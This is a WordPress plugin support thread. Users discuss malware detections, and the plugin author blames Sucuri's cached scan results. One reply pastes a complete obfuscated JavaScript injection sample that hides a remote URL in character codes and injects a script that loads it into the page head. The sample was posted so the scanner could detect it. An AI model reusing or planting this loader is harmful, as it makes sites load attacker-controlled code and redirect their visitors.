Great plugin but…..

Resolved gnfb
(@gnfb)

7 years, 7 months ago

After I had ran a scan with your plugin in wp it located 4 malware thingys Whic after it had put them in quarantine I was able to delete done good job!
Heres the But
I then ran the sucuri website checker and it returned The stuff below they seem to be ads does your plugin not pick these up? Sorry I am a total novice so some help would be great
Graham
Malware Found

http://coolnerd.xyz/404javascript.js (More details)
Definition

rogueads.unwanted_ads?1
Malware Found

http://coolnerd.xyz/cashmere/ (More details)
Definition

rogueads.unwanted_ads?1
Malware Found

http://coolnerd.xyz/x-loop-mens-womens-unisex-athletic-sport-designer-fashion-sunglasses-with-uv400-lens-available-in-black-silver-includes-custom-branded-microfiber-pouch-cleaning-cloth/ (More details)
Definition

rogueads.unwanted_ads?1
Malware Found

http://coolnerd.xyz (More details)
Definition

rogueads.unwanted_ads?1

Viewing 4 replies - 1 through 4 (of 4 total)

Plugin Author Eli
(@scheeeli)

7 years, 7 months ago

Yeah, My plugin fixes that threat. Your problem is Sucuri not my scanner 😉

See Sucuri caches their scan results and usually won’t show you that your site is actually clean unless you request a “Re-Scan”, otherwise they will just keep showing you the same results from the first scan 🙁

Notice, at the bottom of there scan results page it will say something like this:

*This site was just scanned a few minutes ago. Force a Re-scan to clear the cache.

Try this link and you should see that you site is now clean:
https://sitecheck.sucuri.net/results/coolnerd.xyz?clear
foxmulder520
(@foxmulder520)

7 years, 7 months ago
Hi

It’s seems plugin can’t find the new malware…Can you fix that

malware.injection?35.4

var _0x1e35=[‘length’,’fromCharCode’,’createElement’,’type’,’async’,’code121′,’src’,’appendChild’,’getElementsByTagName’,’script’];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(–_0x2e1b64){_0x546a53[‘push’](_0x546a53[‘shift’]());}};_0x440369(++_0x3f720e);}(_0x1e35,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e35[_0x716551];return _0x2b7638;};var url=String[_0x5a05(‘0x0’)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x61,0x73,0x6b,0x6d,0x61,0x64,0x65,0x2e,0x6e,0x65,0x74,0x2f,0x68,0x65,0x61,0x64,0x2e,0x6a,0x73,0x3f,0x76,0x65,0x72,0x3d,0x31,0x2e,0x30,0x2e,0x30);var a=function(){var _0x22c9c8=document[_0x5a05(‘0x1’)](String[_0x5a05(‘0x0’)](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05(‘0x2’)]=String[_0x5a05(‘0x0’)](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05(‘0x3’)]=!![];_0x22c9c8[‘id’]=_0x5a05(‘0x4’);_0x22c9c8[_0x5a05(‘0x5’)]=url;document[‘getElementsByTagName’](String[_0x5a05(‘0x0’)](0x68,0x65,0x61,0x64))[0x0][_0x5a05(‘0x6’)](_0x22c9c8);};var scrpts=document[_0x5a05(‘0x7’)](_0x5a05(‘0x8’));var n=!![];for(var i=scrpts[_0x5a05(‘0x9’)];i–;){if(scrpts[i][‘id’]==_0x5a05(‘0x4’)){n=![];}};if(n==!![]){a();}/*! jQuery v1.12.4 | (c) jQuery Foundation | jquery.org/license */

thanks a lot..
- This reply was modified 7 years, 7 months ago by foxmulder520.
Plugin Author Eli
(@scheeeli)

7 years, 7 months ago

@foxmulder520,
This topic was resolve and the malware referred to was removed with my plugin (it was just the cached results from sucuri that showed the site was infected even after it had been cleaned.

The code you just posted will be found by my latest definition updates.

Vox Terman
(@vox-terman)

7 years, 7 months ago

Hello!

It’s most “popular” malware. More than 10000 infected sites now.
In random time in wordpress title post added script and site redirected to maining ads sites.

Viewing 4 replies - 1 through 4 (of 4 total)

The topic ‘Great plugin but…..’ is closed to new replies.